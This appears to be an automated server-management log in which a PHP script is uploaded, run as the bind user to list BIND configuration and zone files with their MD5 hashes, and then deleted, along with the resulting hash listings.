MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:12:05: Establishing a connection
2026-04-30 17:12:05: 

PUT: /tmp/pkp500644

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:12:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp500644; rm /tmp/pkp500644'

2026-04-30 17:12:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:12:07: Establishing a connection
2026-04-30 17:12:07: 

PUT: /tmp/pkp233838

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:12:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp233838; rm /tmp/pkp233838'

2026-04-30 17:12:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
